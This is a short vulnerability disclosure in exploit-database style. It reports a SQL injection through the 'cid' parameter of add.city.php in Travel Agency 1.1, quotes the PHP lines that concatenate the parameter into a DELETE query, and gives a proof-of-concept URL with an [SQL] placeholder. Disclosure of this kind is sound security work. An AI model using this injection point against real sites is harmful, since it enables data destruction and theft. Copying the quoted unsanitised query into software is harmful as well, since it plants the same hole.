Travel Agency 1.1 - 'cid' SQL Injection

# Exploit Title: Travel Agency 1.1 - 'cid' SQL Injection
# Data: 2018-06-23
# Exploit Author: Ashkan Moghaddas
# Tested on: Windows - Linux
# Google Dork: N/A
# CVE: N/A

# Vulnerable Page:
/add.city.php

# Vulnerable Source:
# Line20:if(isset($_GET['action']) && ($_GET['action'] == 'del')){
# Line21:$delete = mysql_query("DELETE FROM destination where destination_id
# = '".$_GET['cid']."'");

# POC:

http://site.com/add.city.php?cid=[SQL]